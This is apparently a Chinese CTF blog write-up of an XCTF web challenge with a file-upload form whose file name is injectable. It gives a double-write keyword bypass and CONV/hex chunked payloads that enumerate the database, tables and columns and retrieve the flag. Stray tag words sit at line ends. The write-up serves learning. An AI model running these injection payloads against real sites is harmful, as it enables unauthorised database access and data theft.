攻防世界上的一道web題 web
爲何我以爲徹底不像萌新入坑的題呢 退坑還差很少吧sql
一看名字以及頁面想固然的就是文件上傳了唄函數
結果各類嘗試,也沒什麼辦法,可是每次咱們上傳後會有文件名的回顯3d
可是正常的文件上傳也都有這種名字的回顯,可能不太尋常的就是這個沒有路徑吧orm
最後看的writeup 說是sql注入????不明白怎麼能看出來是注入的blog
圖片文件名存在注入,而且過濾了select from 用雙寫就能繞過圖片
payload = sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg文件上傳
上網查了一下CONV這個函數it
意思就是咱們將substr(hex(dAtaBase()) 的結果從16進制轉化爲10進制io
起初我沒明白爲何要這麼長 直接sselectelect database()不就好了嗎?
嘗試之後發現應該都是題的設置
sselectelect database() => 0
selecselectt substr(dAtabase(),1,12) => 0
selecselectt substr(hex(dAtabase()),1,12) => 7765625 這裏正常應該顯示7765625f7570纔對,多是題目的設置,出現字母之後後面內容就會被截斷
因此纔用到了CONV,將16進制轉化爲10進制
可是又有了一個疑問,爲何substr要設置爲1到12呢,嘗試之後發現
當咱們設置爲1,13時
出現了科學計數法,這是沒法轉化爲10進制的,因此才設定了1,12這個限制
這些搞明白了之後那就開始注入了
庫:
sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg => 131277325825392 => web_up (這裏將10進制再轉化爲16進制進行hex解碼就出來了)
sql'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg => 1819238756 => load
拼接之後 web_upload
表:
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg
拼接之後爲 files,hello_flag_is_here
列:
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg
拼接之後爲 i_am_flag
字段:
sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'.jpg
sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'.jpg
拼接之後爲 !!_@m_Th.e_F!lag
又學到了新的注入方法,可是這個的侷限性應該挺大的,不知道是腦洞太大仍是我太菜,哭了